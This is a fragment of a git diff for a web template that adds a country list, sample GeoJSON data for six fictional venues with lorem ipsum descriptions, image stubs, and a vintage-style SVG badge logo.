|
||||
}
|
||||
]
|
||||
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"countries": ["Afghanistan","Albania","Algeria","Andorra","Angola","Anguilla","Antigua & Barbuda","Argentina","Armenia","Aruba","Australia","Austria","Azerbaijan","Bahamas","Bahrain","Bangladesh","Barbados","Belarus","Belgium","Belize","Benin","Bermuda","Bhutan","Bolivia","Bosnia & Herzegovina","Botswana","Brazil","British Virgin Islands","Brunei","Bulgaria","Burkina Faso","Burundi","Cambodia","Cameroon","Cape Verde","Cayman Islands","Chad","Chile","China","Colombia","Congo","Cook Islands","Costa Rica","Cote D Ivoire","Croatia","Cruise Ship","Cuba","Cyprus","Czech Republic","Denmark","Djibouti","Dominica","Dominican Republic","Ecuador","Egypt","El Salvador","Equatorial Guinea","Estonia","Ethiopia","Falkland Islands","Faroe Islands","Fiji","Finland","France","French Polynesia","French West Indies","Gabon","Gambia","Georgia","Germany","Ghana","Gibraltar","Greece","Greenland","Grenada","Guam","Guatemala","Guernsey","Guinea","Guinea Bissau","Guyana","Haiti","Honduras","Hong Kong","Hungary","Iceland","India","Indonesia","Iran","Iraq","Ireland","Isle of Man","Israel","Italy","Jamaica","Japan","Jersey","Jordan","Kazakhstan","Kenya","Kuwait","Kyrgyz Republic","Laos","Latvia","Lebanon","Lesotho","Liberia","Libya","Liechtenstein","Lithuania","Luxembourg","Macau","Macedonia","Madagascar","Malawi","Malaysia","Maldives","Mali","Malta","Mauritania","Mauritius","Mexico","Moldova","Monaco","Mongolia","Montenegro","Montserrat","Morocco","Mozambique","Namibia","Nepal","Netherlands","Netherlands Antilles","New Caledonia","New Zealand","Nicaragua","Niger","Nigeria","Norway","Oman","Pakistan","Palestine","Panama","Papua New Guinea","Paraguay","Peru","Philippines","Poland","Portugal","Puerto Rico","Qatar","Reunion","Romania","Russia","Rwanda","Saint Pierre & Miquelon","Samoa","San Marino","Satellite","Saudi Arabia","Senegal","Serbia","Seychelles","Sierra Leone","Singapore","Slovakia","Slovenia","South Africa","South Korea","Spain","Sri Lanka","St Kitts & Nevis","St Lucia","St Vincent","St. Lucia","Sudan","Suriname","Swaziland","Sweden","Switzerland","Syria","Taiwan","Tajikistan","Tanzania","Thailand","Timor L'Este","Togo","Tonga","Trinidad & Tobago","Tunisia","Turkey","Turkmenistan","Turks & Caicos","Uganda","Ukraine","United Arab Emirates","United Kingdom","Uruguay","Uzbekistan","Venezuela","Vietnam","Virgin Islands (US)","Yemen","Zambia","Zimbabwe"]
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
{
|
||||
"type": "FeatureCollection",
|
||||
"features": [{
|
||||
"type": "Feature",
|
||||
"geometry": {
|
||||
"type": "Point",
|
||||
"coordinates": [
|
||||
-73.99967,
|
||||
40.73723
|
||||
]
|
||||
},
|
||||
"properties": {
|
||||
"id": "59c0c8e33b1527bfe2abaf92",
|
||||
"index": 0,
|
||||
"isActive": true,
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "restaurant-1430931071372-38127bd472b8.jpg",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Blue Hill",
|
||||
"category": "Restaurants",
|
||||
"email": "[email protected]",
|
||||
"stars": 4,
|
||||
"phone": "+1 (920) 407-3975",
|
||||
"address": "151 Karweg Place, Waumandee, Iowa, 5508",
|
||||
"about": "Cupidatat excepteur non dolore laborum et quis nostrud veniam dolore deserunt. Pariatur dolore ut in elit id nulla. Irure nostrud sint deserunt enim Lorem. Do eu esse consequat mollit labore commodo officia labore voluptate sit voluptate cupidatat.\r\n",
|
||||
"tags": [
|
||||
"Restaurant",
|
||||
"Contemporary"
|
||||
]
|
||||
}
|
||||
},
|
||||
{
|
||||
"type": "Feature",
|
||||
"geometry": {
|
||||
"type": "Point",
|
||||
"coordinates": [
|
||||
-73.9906951,
|
||||
40.7384555
|
||||
]
|
||||
},
|
||||
"properties": {
|
||||
"id": "59c0c8e322f3375db4d89128",
|
||||
"index": 1,
|
||||
"isActive": true,
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "restaurant-1436018626274-89acd1d6ec9d.jpg",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Plutorque",
|
||||
"category": "Restaurant",
|
||||
"email": "[email protected]",
|
||||
"stars": 5,
|
||||
"phone": "+1 (986) 599-2693",
|
||||
"address": "325 Seton Place, Castleton, Indiana, 3368",
|
||||
"about": "Proident irure eiusmod velit veniam consectetur id minim irure et nostrud mollit magna velit. Commodo amet proident aliqua qui enim exercitation ipsum laborum Lorem. Irure nostrud sint deserunt enim Lorem. Do eu esse consequat mollit labore commodo officia labore voluptate sit voluptate cupidatat.\r\n",
|
||||
"tags": [
|
||||
"Restaurant",
|
||||
"Fusion"
|
||||
]
|
||||
}
|
||||
},
|
||||
{
|
||||
"type": "Feature",
|
||||
"geometry": {
|
||||
"type": "Point",
|
||||
"coordinates": [
|
||||
-74.0014247,
|
||||
40.732346
|
||||
]
|
||||
},
|
||||
"properties": {
|
||||
"id": "59c0c8e3a31e62979bf147c9",
|
||||
"index": 2,
|
||||
"isActive": true,
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "restaurant-1466978913421-dad2ebd01d17.jpg",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Junipoor",
|
||||
"category": "Music club",
|
||||
"email": "[email protected]",
|
||||
"stars": 5,
|
||||
"phone": "+1 (863) 446-2211",
|
||||
"address": "397 Crystal Street, Idledale, Nebraska, 4692",
|
||||
"about": "Lorem amet ex duis in et fugiat consectetur laborum eiusmod labore. Quis cupidatat et do dolor in in magna. Eu sit quis cillum proident pariatur commodo consequat ea sunt mollit. Ad aliquip aliquip amet occaecat aute incididunt ex sit culpa adipisicing amet officia nisi. Commodo amet proident aliqua qui enim exercitation ipsum laborum Lorem.\r\n",
|
||||
"tags": [
|
||||
"Music",
|
||||
"Techno",
|
||||
"House"
|
||||
]
|
||||
}
|
||||
},
|
||||
{
|
||||
"type": "Feature",
|
||||
"geometry": {
|
||||
"type": "Point",
|
||||
"coordinates": [
|
||||
-73.9969277,
|
||||
40.7246413
|
||||
]
|
||||
},
|
||||
"properties": {
|
||||
"id": "59c0c8e3503eb77d487e8082",
|
||||
"index": 3,
|
||||
"isActive": false,
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "restaurant-1477763858572-cda7deaa9bc5.jpg",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Musix",
|
||||
"category": "Music club",
|
||||
"email": "[email protected]",
|
||||
"stars": 3,
|
||||
"phone": "+1 (862) 498-2322",
|
||||
"address": "828 Dewitt Avenue, Wyano, Nevada, 5082",
|
||||
"about": "Deserunt eiusmod Lorem proident consequat elit culpa laboris ea cupidatat. Consequat dolore proident ipsum qui sint enim id in non et duis sunt aute qui. Laboris deserunt enim exercitation do consequat irure dolor ipsum commodo est fugiat qui mollit.\r\n",
|
||||
"tags": [
|
||||
"Music",
|
||||
"Club",
|
||||
"Rock"
|
||||
]
|
||||
}
|
||||
},
|
||||
{
|
||||
"type": "Feature",
|
||||
"geometry": {
|
||||
"type": "Point",
|
||||
"coordinates": [
|
||||
-73.9893617,
|
||||
40.741726
|
||||
]
|
||||
},
|
||||
"properties": {
|
||||
"id": "59c0c8e39aa2eed0626e485d",
|
||||
"index": 4,
|
||||
"isActive": false,
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "restaurant-1504087697492-238a6bf49ce8.jpg",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Prosure",
|
||||
"category": "Restaurant",
|
||||
"email": "[email protected]",
|
||||
"stars": 5,
|
||||
"phone": "+1 (831) 587-2089",
|
||||
"address": "942 Greenpoint Avenue, Northridge, Puerto Rico, 8248",
|
||||
"about": "Cillum sunt reprehenderit ea non irure veniam dolore commodo labore fugiat est consequat velit. Cupidatat nisi qui ad sit ut labore id esse tempor proident enim exercitation est aliquip. Ipsum deserunt dolor proident sunt ut proident esse do pariatur duis incididunt id ullamco. Dolore proident consectetur dolor irure mollit commodo sunt dolore. \r\n",
|
||||
"tags": [
|
||||
"Nisi",
|
||||
"Ex",
|
||||
"Eiusmod"
|
||||
]
|
||||
}
|
||||
},
|
||||
{
|
||||
"type": "Feature",
|
||||
"geometry": {
|
||||
"type": "Point",
|
||||
"coordinates": [
|
||||
-73.96,
|
||||
40.741726
|
||||
]
|
||||
},
|
||||
"properties": {
|
||||
"id": "59c0c8e39aa2edasd626e485d",
|
||||
"index": 5,
|
||||
"isActive": false,
|
||||
"logo": "http://placehold.it/32x32",
|
||||
"image": "restaurant-1505275350441-83dcda8eeef5.jpg",
|
||||
"link": "detail.html",
|
||||
"url": "#",
|
||||
"name": "Take That",
|
||||
"category": "Café",
|
||||
"email": "[email protected]",
|
||||
"stars": 4,
|
||||
"phone": "+1 (831) 587-2089",
|
||||
"address": "942 Greenpoint Avenue, Northridge, Puerto Rico, 8248",
|
||||
"about": "Cillum sunt reprehenderit ea non irure veniam dolore commodo labore fugiat est consequat velit. Cupidatat nisi qui ad sit ut labore id esse tempor proident enim exercitation est aliquip. Ipsum deserunt dolor proident sunt ut proident esse do pariatur duis incididunt id ullamco. Dolore proident consectetur dolor irure mollit commodo sunt dolore. \r\n",
|
||||
"tags": [
|
||||
"Nisi",
|
||||
"Ex",
|
||||
"Eiusmod"
|
||||
]
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
|
After Width: | Height: | Size: 88 KiB |
|
After Width: | Height: | Size: 5.4 KiB |
|
After Width: | Height: | Size: 45 KiB |
|
After Width: | Height: | Size: 59 KiB |
|
After Width: | Height: | Size: 26 KiB |
|
After Width: | Height: | Size: 12 KiB |
|
After Width: | Height: | Size: 36 KiB |
|
After Width: | Height: | Size: 11 KiB |
|
After Width: | Height: | Size: 8.6 KiB |
|
After Width: | Height: | Size: 84 KiB |
|
After Width: | Height: | Size: 40 KiB |
|
After Width: | Height: | Size: 54 KiB |
|
After Width: | Height: | Size: 156 KiB |
|
After Width: | Height: | Size: 156 KiB |
@@ -0,0 +1,176 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
viewBox="0 0 204.8 207.5" enable-background="new 0 0 204.8 207.5" xml:space="preserve">
|
||||
<g id="BACKGROUND" display="none">
|
||||
<rect x="-62.2" y="-51" display="inline" fill="#bfc1c4bfc1c4" width="800" height="800"/>
|
||||
</g>
|
||||
<g id="OBJECTS">
|
||||
<g>
|
||||
<g>
|
||||
<polygon fill="#bfc1c4" points="101.4,77.6 103.7,74.5 124.4,47.1 120.1,36.8 82.7,36.8 78.4,47.1 99.1,74.5 "/>
|
||||
<g>
|
||||
<path fill="#bfc1c4" d="M35.1,123.3l-7.6-37.3h6l4.9,25.9l4.6-25.9h6.2l-7.6,37.3H35.1z"/>
|
||||
<path fill="#bfc1c4" d="M53.3,123.3V86.1H60v37.3H53.3z"/>
|
||||
<path fill="#bfc1c4" d="M65.7,123.3V86.1h4.7l9.1,21.1V86.1h5.6v37.3h-4.4l-9.2-22.2v22.2H65.7z"/>
|
||||
<path fill="#bfc1c4" d="M94.4,123.3V91.1h-6.2v-5h19.1v5h-6v32.2H94.4z"/>
|
||||
<path fill="#bfc1c4" d="M108,123.3l7.6-37.3h7.1l7.6,37.3h-6.3l-1.5-8.7H116l-1.5,8.7H108z M116.7,110.3h5L119.2,95L116.7,110.3
|
||||
z"/>
|
||||
<path fill="#bfc1c4" d="M143.1,123.8c-3.5,0-6.1-1.1-7.6-3.3c-1.6-2.2-2.3-5.4-2.3-9.6V98.8c0-2.1,0.2-4,0.5-5.5
|
||||
c0.3-1.6,0.9-2.9,1.7-4.1s1.9-2,3.3-2.6c1.4-0.6,3.1-0.9,5.1-0.9c3.7,0,6.3,0.9,7.9,2.7c1.6,1.8,2.4,4.5,2.4,8.2v1.8h-6.5v-1.9
|
||||
c0-0.8,0-1.5-0.1-2c0-0.5-0.1-1.1-0.3-1.6c-0.1-0.5-0.3-0.9-0.6-1.2s-0.6-0.5-1.1-0.7s-1-0.3-1.7-0.3c-0.5,0-1,0.1-1.4,0.2
|
||||
c-0.4,0.1-0.7,0.3-1,0.5c-0.3,0.2-0.5,0.5-0.7,0.8c-0.2,0.3-0.3,0.7-0.4,1c-0.1,0.3-0.2,0.7-0.2,1.2c-0.1,0.5-0.1,1-0.1,1.3
|
||||
c0,0.4,0,0.9,0,1.5v15c0,2.2,0.3,3.9,0.8,4.9c0.6,1,1.6,1.6,3.2,1.6c0.8,0,1.5-0.2,2-0.5c0.5-0.3,1-0.8,1.3-1.4
|
||||
c0.3-0.6,0.5-1.3,0.7-2.1s0.2-1.8,0.2-2.9v-3.1h-4v-4.4h10.1v18.9h-4.4l-0.5-3.8C148.3,122.4,146.2,123.8,143.1,123.8z"/>
|
||||
<path fill="#bfc1c4" d="M159.5,123.3V86.1H175v4.8h-8.8v10.7h7v4.8h-7v12.3h8.9v4.7H159.5z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#bfc1c4" d="M53.9,132.7v1.7h-6v3h5.4v1.7h-5.4v3H54v1.7H46v-11H53.9z"/>
|
||||
<path fill="#bfc1c4" d="M59.8,134.4c-1.1,0-1.8,0.4-1.8,1.2c0,2.4,6,1.1,5.9,5.1c0,2-1.7,3.2-4.2,3.2c-1.7,0-3.4-0.7-4.5-1.8
|
||||
l0.8-1.6c1.1,1,2.6,1.6,3.7,1.6c1.3,0,2.1-0.5,2.1-1.3c0-2.5-6-1.1-6-5c0-1.9,1.6-3.1,4-3.1c1.4,0,2.8,0.5,3.9,1.1l-0.8,1.6
|
||||
C61.8,134.7,60.6,134.4,59.8,134.4z"/>
|
||||
<path fill="#bfc1c4" d="M73.7,132.7v1.7h-3.5v9.4h-1.9v-9.4h-3.5v-1.7H73.7z"/>
|
||||
<path fill="#bfc1c4" d="M81.3,141.3h-5.6l-1.1,2.5h-1.9l4.9-11h1.9l4.8,11h-2L81.3,141.3z M80.6,139.6l-2.1-4.9l-2.1,4.9H80.6z"
|
||||
/>
|
||||
<path fill="#bfc1c4" d="M94.3,135.5c0,1.2-0.7,2.2-1.9,2.5c1.5,0.3,2.4,1.3,2.4,2.8c0,1.9-1.5,3-4,3h-4.9v-11h4.8
|
||||
C92.9,132.7,94.3,133.8,94.3,135.5z M92.4,135.8c0-0.9-0.7-1.4-1.9-1.4h-2.8v2.9h2.8C91.7,137.3,92.4,136.8,92.4,135.8z
|
||||
M92.8,140.5c0-1-0.9-1.6-2.3-1.6h-2.8v3.2h2.8C92,142.1,92.8,141.5,92.8,140.5z"/>
|
||||
<path fill="#bfc1c4" d="M98.8,132.7v9.4h4.8v1.7h-6.6v-11H98.8z"/>
|
||||
<path fill="#bfc1c4" d="M107.2,132.7v11h-1.9v-11H107.2z"/>
|
||||
<path fill="#bfc1c4" d="M113.6,134.4c-1.1,0-1.8,0.4-1.8,1.2c0,2.4,6,1.1,5.9,5.1c0,2-1.7,3.2-4.2,3.2c-1.7,0-3.4-0.7-4.5-1.8
|
||||
l0.8-1.6c1.1,1,2.6,1.6,3.7,1.6c1.3,0,2.1-0.5,2.1-1.3c0-2.5-6-1.1-6-5c0-1.9,1.6-3.1,4-3.1c1.4,0,2.8,0.5,3.9,1.1l-0.8,1.6
|
||||
C115.7,134.7,114.5,134.4,113.6,134.4z"/>
|
||||
<path fill="#bfc1c4" d="M121.8,132.7v4.8h5.9v-4.8h1.9v11h-1.9v-4.6h-5.9v4.6h-1.9v-11H121.8z"/>
|
||||
<path fill="#bfc1c4" d="M140.3,132.7v1.7h-6v3h5.4v1.7h-5.4v3h6.2v1.7h-8.1v-11H140.3z"/>
|
||||
<path fill="#bfc1c4" d="M153,138.2c0,3.2-2.4,5.5-5.8,5.5h-4.5v-11h4.5C150.6,132.7,153,135,153,138.2z M151.1,138.3
|
||||
c0-2.3-1.7-3.9-3.9-3.9h-2.6v7.7h2.7C149.5,142.1,151.1,140.5,151.1,138.3z"/>
|
||||
<path fill="#bfc1c4" d="M87.8,151.6v11.1H86v-9.4h-2.4v-1.7H87.8z"/>
|
||||
<path fill="#bfc1c4" d="M95.8,161.2c2.1,0,3.1-1.6,3.1-4c-0.6,1-1.6,1.6-3,1.6c-2.2,0-3.5-1.4-3.5-3.5c0-2.3,1.5-3.7,3.9-3.7
|
||||
c2.8,0,4.5,2,4.5,5.4c0,3.5-1.8,5.8-4.7,5.8c-1.1,0-2.4-0.3-3.3-0.8l0.7-1.4C94,161,94.9,161.2,95.8,161.2z M94,155.3
|
||||
c0,1.3,0.8,2.1,2.1,2.1c1.5,0,2.4-1,2.4-2.1c0-1-0.7-2.1-2.3-2.1C94.9,153.1,94,153.9,94,155.3z"/>
|
||||
<path fill="#bfc1c4" d="M105.5,161.2c2.1,0,3.1-1.6,3.1-4c-0.6,1-1.6,1.6-3,1.6c-2.2,0-3.5-1.4-3.5-3.5c0-2.3,1.5-3.7,3.9-3.7
|
||||
c2.8,0,4.5,2,4.5,5.4c0,3.5-1.8,5.8-4.7,5.8c-1.1,0-2.4-0.3-3.3-0.8l0.7-1.4C103.8,161,104.7,161.2,105.5,161.2z M103.8,155.3
|
||||
c0,1.3,0.8,2.1,2.1,2.1c1.5,0,2.4-1,2.4-2.1c0-1-0.7-2.1-2.3-2.1C104.7,153.1,103.8,153.9,103.8,155.3z"/>
|
||||
<path fill="#bfc1c4" d="M120.3,151.6v1.4l-4.7,9.6h-2l4.6-9.4h-4.7l0,1.5h-1.7v-3.2H120.3z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M99.1,64.9l-4.2-20.8h3.4l2.7,14.5l2.6-14.5h3.4l-4.2,20.8H99.1z"/>
|
||||
</g>
|
||||
<path fill="#bfc1c4" d="M30.6,176.1c9.2,9.2,19.9,16.4,31.8,21.5c12.3,5.2,25.5,7.9,39,7.9c13.5,0,26.6-2.6,39-7.9
|
||||
c11.9-5,22.6-12.3,31.8-21.5c9.2-9.2,16.4-19.9,21.5-31.8c5.2-12.3,7.9-25.5,7.9-39c0-13.5-2.6-26.6-7.9-39
|
||||
c-5-11.9-12.3-22.6-21.5-31.8c-9.2-9.2-19.9-16.4-31.8-21.5c-12.3-5.2-25.5-7.9-39-7.9c-13.5,0-26.6,2.6-39,7.9
|
||||
c-11.9,5-22.6,12.3-31.8,21.5c-9.2,9.2-16.4,19.9-21.5,31.8c-5.2,12.3-7.9,25.5-7.9,39c0,13.5,2.6,26.6,7.9,39
|
||||
C14.2,156.2,21.4,166.9,30.6,176.1z M101.4,8.6c25.8,0,50.1,10.1,68.4,28.3s28.3,42.5,28.3,68.4c0,25.8-10.1,50.1-28.3,68.4
|
||||
S127.2,202,101.4,202c-25.8,0-50.1-10.1-68.4-28.3S4.7,131.1,4.7,105.3c0-25.8,10.1-50.1,28.3-68.4S75.6,8.6,101.4,8.6z"/>
|
||||
<path fill="#bfc1c4" d="M16.2,105.3c0,22.8,8.9,44.2,25,60.3c16.1,16.1,37.5,25,60.3,25c22.8,0,44.2-8.9,60.3-25
|
||||
c16.1-16.1,25-37.5,25-60.3c0-22.8-8.9-44.2-25-60.3c-16.1-16.1-37.5-25-60.3-25c-22.8,0-44.2,8.9-60.3,25
|
||||
C25,61.1,16.2,82.5,16.2,105.3z M101.4,23.5c21.8,0,42.4,8.5,57.8,24c15.4,15.4,24,36,24,57.8s-8.5,42.4-24,57.8
|
||||
c-15.4,15.4-36,24-57.8,24c-21.8,0-42.4-8.5-57.8-24c-15.4-15.4-24-36-24-57.8s8.5-42.4,24-57.8C59,32,79.6,23.5,101.4,23.5z"/>
|
||||
<path fill="#bfc1c4" d="M150.8,179.9l1.1,1.7c1-0.6,1.9-1.3,2.8-2l-1.2-1.6C152.7,178.6,151.8,179.2,150.8,179.9z"/>
|
||||
<path fill="#bfc1c4" d="M93,16.2l-0.2-2c-1.1,0.1-2.3,0.2-3.4,0.4l0.3,2C90.7,16.5,91.9,16.3,93,16.2z"/>
|
||||
<path fill="#bfc1c4" d="M184.5,138.5l1.9,0.7c0.4-1.1,0.8-2.2,1.2-3.2l-1.9-0.7C185.3,136.4,184.9,137.5,184.5,138.5z"/>
|
||||
<path fill="#bfc1c4" d="M113.5,14.6c-1.1-0.2-2.3-0.3-3.4-0.4l-0.2,2c1.1,0.1,2.2,0.2,3.4,0.4L113.5,14.6z"/>
|
||||
<path fill="#bfc1c4" d="M106.6,14c-1.1-0.1-2.3-0.1-3.5-0.1l0,2c1.1,0,2.3,0.1,3.4,0.1L106.6,14z"/>
|
||||
<path fill="#bfc1c4" d="M120.3,15.8c-1.1-0.2-2.3-0.5-3.4-0.6l-0.3,2c1.1,0.2,2.2,0.4,3.3,0.6L120.3,15.8z"/>
|
||||
<path fill="#bfc1c4" d="M181.7,144.7l1.8,0.9c0.5-1,1-2.1,1.5-3.1l-1.8-0.8C182.7,142.6,182.2,143.7,181.7,144.7z"/>
|
||||
<path fill="#bfc1c4" d="M166.4,166.8l1.5,1.4c0.8-0.8,1.6-1.7,2.3-2.6l-1.5-1.3C167.9,165.2,167.1,166,166.4,166.8z"/>
|
||||
<path fill="#bfc1c4" d="M86.3,17.1l-0.3-2c-1.1,0.2-2.3,0.4-3.4,0.6l0.4,2C84.1,17.5,85.2,17.3,86.3,17.1z"/>
|
||||
<path fill="#bfc1c4" d="M170.8,161.7l1.6,1.3c0.7-0.9,1.4-1.8,2.1-2.7l-1.6-1.2C172.2,160,171.5,160.9,170.8,161.7z"/>
|
||||
<path fill="#bfc1c4" d="M156.3,175.9l1.2,1.6c0.9-0.7,1.8-1.4,2.7-2.2l-1.3-1.5C158.1,174.5,157.2,175.2,156.3,175.9z"/>
|
||||
<path fill="#bfc1c4" d="M161.5,171.5l1.4,1.5c0.9-0.8,1.7-1.6,2.5-2.4l-1.4-1.4C163.2,170,162.3,170.8,161.5,171.5z"/>
|
||||
<path fill="#bfc1c4" d="M178.5,150.6l1.7,1c0.6-1,1.2-2,1.7-3l-1.8-1C179.7,148.7,179.1,149.7,178.5,150.6z"/>
|
||||
<path fill="#bfc1c4" d="M73.2,20.4l-0.6-1.9c-1.1,0.4-2.2,0.8-3.3,1.2l0.7,1.9C71,21.1,72.1,20.7,73.2,20.4z"/>
|
||||
<path fill="#bfc1c4" d="M174.9,156.3l1.6,1.1c0.7-0.9,1.3-1.9,1.9-2.9l-1.7-1.1C176.2,154.5,175.5,155.4,174.9,156.3z"/>
|
||||
<path fill="#bfc1c4" d="M79.7,18.5l-0.5-1.9c-1.1,0.3-2.2,0.6-3.3,0.9l0.6,1.9C77.5,19.1,78.6,18.8,79.7,18.5z"/>
|
||||
<path fill="#bfc1c4" d="M99.7,15.8l0-2c-1.1,0-2.3,0.1-3.5,0.1l0.1,2C97.5,15.9,98.6,15.9,99.7,15.8z"/>
|
||||
<path fill="#bfc1c4" d="M188.6,85.2l2-0.5c-0.3-1.1-0.5-2.2-0.8-3.4l-1.9,0.5C188.1,83,188.3,84.1,188.6,85.2z"/>
|
||||
<path fill="#bfc1c4" d="M190.6,98.5l2-0.1c-0.1-1.1-0.2-2.3-0.3-3.4l-2,0.2C190.4,96.3,190.5,97.4,190.6,98.5z"/>
|
||||
<path fill="#bfc1c4" d="M189.8,91.8l2-0.3c-0.2-1.1-0.4-2.3-0.6-3.4l-2,0.4C189.5,89.6,189.7,90.7,189.8,91.8z"/>
|
||||
<path fill="#bfc1c4" d="M186.8,78.6l1.9-0.6c-0.3-1.1-0.7-2.2-1.1-3.3l-1.9,0.7C186.1,76.5,186.5,77.5,186.8,78.6z"/>
|
||||
<path fill="#bfc1c4" d="M184.5,72.2l1.9-0.7c-0.4-1.1-0.9-2.1-1.3-3.2l-1.8,0.8C183.7,70.1,184.1,71.2,184.5,72.2z"/>
|
||||
<path fill="#bfc1c4" d="M181.8,66l1.8-0.9c-0.5-1-1-2.1-1.6-3.1l-1.8,1C180.8,64,181.3,65,181.8,66z"/>
|
||||
<path fill="#bfc1c4" d="M188.5,125.6l2,0.5c0.3-1.1,0.5-2.3,0.7-3.4l-2-0.4C189,123.4,188.8,124.5,188.5,125.6z"/>
|
||||
<path fill="#bfc1c4" d="M189.8,119l2,0.3c0.2-1.1,0.3-2.3,0.5-3.4l-2-0.2C190.1,116.7,190,117.9,189.8,119z"/>
|
||||
<path fill="#bfc1c4" d="M190.6,112.2l2,0.2c0.1-1.1,0.2-2.3,0.2-3.5l-2-0.1C190.7,110,190.7,111.1,190.6,112.2z"/>
|
||||
<path fill="#bfc1c4" d="M190.9,105.3l0,0.2l2,0l0-0.2c0-1.1,0-2.3-0.1-3.5l-2,0.1C190.8,103,190.9,104.2,190.9,105.3z"/>
|
||||
<path fill="#bfc1c4" d="M152,29.1c-1-0.6-1.9-1.3-2.9-1.9l-1,1.7c1,0.6,1.9,1.2,2.8,1.8L152,29.1z"/>
|
||||
<path fill="#bfc1c4" d="M127.1,17.5c-1.1-0.3-2.2-0.6-3.3-0.9l-0.5,1.9c1.1,0.3,2.2,0.6,3.3,0.9L127.1,17.5z"/>
|
||||
<path fill="#bfc1c4" d="M146.1,25.5c-1-0.6-2-1.1-3-1.6l-0.9,1.8c1,0.5,2,1,3,1.6L146.1,25.5z"/>
|
||||
<path fill="#bfc1c4" d="M157.6,33.1c-0.9-0.7-1.8-1.4-2.8-2.1l-1.2,1.6c0.9,0.7,1.8,1.3,2.7,2L157.6,33.1z"/>
|
||||
<path fill="#bfc1c4" d="M133.6,19.7c-1.1-0.4-2.2-0.8-3.3-1.2l-0.6,1.9c1.1,0.4,2.1,0.7,3.2,1.1L133.6,19.7z"/>
|
||||
<path fill="#bfc1c4" d="M180.3,59c-0.6-1-1.2-2-1.8-3l-1.7,1.1c0.6,0.9,1.2,1.9,1.8,2.9L180.3,59z"/>
|
||||
<path fill="#bfc1c4" d="M140,22.3c-1-0.5-2.1-1-3.2-1.4l-0.8,1.9c1,0.4,2.1,0.9,3.1,1.4L140,22.3z"/>
|
||||
<path fill="#bfc1c4" d="M162.9,37.6c-0.8-0.8-1.7-1.5-2.6-2.3l-1.3,1.5c0.9,0.7,1.7,1.5,2.5,2.2L162.9,37.6z"/>
|
||||
<path fill="#bfc1c4" d="M176.6,53.2c-0.7-0.9-1.3-1.9-2-2.8l-1.6,1.2c0.7,0.9,1.3,1.8,2,2.7L176.6,53.2z"/>
|
||||
<path fill="#bfc1c4" d="M172.4,47.7c-0.7-0.9-1.5-1.8-2.2-2.6l-1.5,1.3c0.7,0.8,1.5,1.7,2.2,2.6L172.4,47.7z"/>
|
||||
<path fill="#bfc1c4" d="M167.9,42.4c-0.8-0.8-1.6-1.7-2.4-2.5l-1.4,1.4c0.8,0.8,1.6,1.6,2.4,2.4L167.9,42.4z"/>
|
||||
<path fill="#bfc1c4" d="M79,194c1.1,0.3,2.2,0.5,3.4,0.8l0.4-2c-1.1-0.2-2.2-0.5-3.3-0.8L79,194z"/>
|
||||
<path fill="#bfc1c4" d="M17.1,75.3l-1.9-0.7c-0.4,1.1-0.8,2.2-1.1,3.3l1.9,0.6C16.3,77.5,16.7,76.4,17.1,75.3z"/>
|
||||
<path fill="#bfc1c4" d="M15.1,81.8l-1.9-0.5c-0.3,1.1-0.6,2.2-0.8,3.4l2,0.5C14.5,84,14.8,82.9,15.1,81.8z"/>
|
||||
<path fill="#bfc1c4" d="M72.3,192.1c1.1,0.4,2.2,0.7,3.3,1l0.6-1.9c-1.1-0.3-2.2-0.7-3.2-1L72.3,192.1z"/>
|
||||
<path fill="#bfc1c4" d="M13.5,88.4l-2-0.4c-0.2,1.1-0.4,2.3-0.6,3.4l2,0.3C13.1,90.6,13.3,89.5,13.5,88.4z"/>
|
||||
<path fill="#bfc1c4" d="M65.9,189.6c1.1,0.4,2.1,0.9,3.2,1.3l0.7-1.9c-1-0.4-2.1-0.8-3.1-1.3L65.9,189.6z"/>
|
||||
<path fill="#bfc1c4" d="M11.9,105.2c0-1.1,0-2.3,0.1-3.4l-2-0.1c0,1.1-0.1,2.3-0.1,3.5L11.9,105.2z"/>
|
||||
<path fill="#bfc1c4" d="M15,128.6l-1.9,0.5c0.3,1.1,0.6,2.2,1,3.3l1.9-0.6C15.6,130.8,15.3,129.7,15,128.6z"/>
|
||||
<path fill="#bfc1c4" d="M24.2,154.4c0.6,1,1.3,1.9,1.9,2.9l1.7-1.1c-0.6-0.9-1.3-1.9-1.9-2.8L24.2,154.4z"/>
|
||||
<path fill="#bfc1c4" d="M19.6,69l-1.8-0.8c-0.5,1-0.9,2.1-1.3,3.2l1.9,0.7C18.7,71.1,19.1,70.1,19.6,69z"/>
|
||||
<path fill="#bfc1c4" d="M145.1,183.4l1,1.8c1-0.6,2-1.2,3-1.8l-1-1.7C147,182.3,146,182.8,145.1,183.4z"/>
|
||||
<path fill="#bfc1c4" d="M22.6,63l-1.8-1c-0.5,1-1.1,2-1.6,3.1L21,66C21.5,65,22,64,22.6,63z"/>
|
||||
<path fill="#bfc1c4" d="M85.8,195.4c1.1,0.2,2.3,0.4,3.4,0.5l0.3-2c-1.1-0.1-2.2-0.3-3.3-0.5L85.8,195.4z"/>
|
||||
<path fill="#bfc1c4" d="M53.6,183.3c1,0.6,2,1.2,3,1.8l1-1.8c-1-0.5-2-1.1-2.9-1.7L53.6,183.3z"/>
|
||||
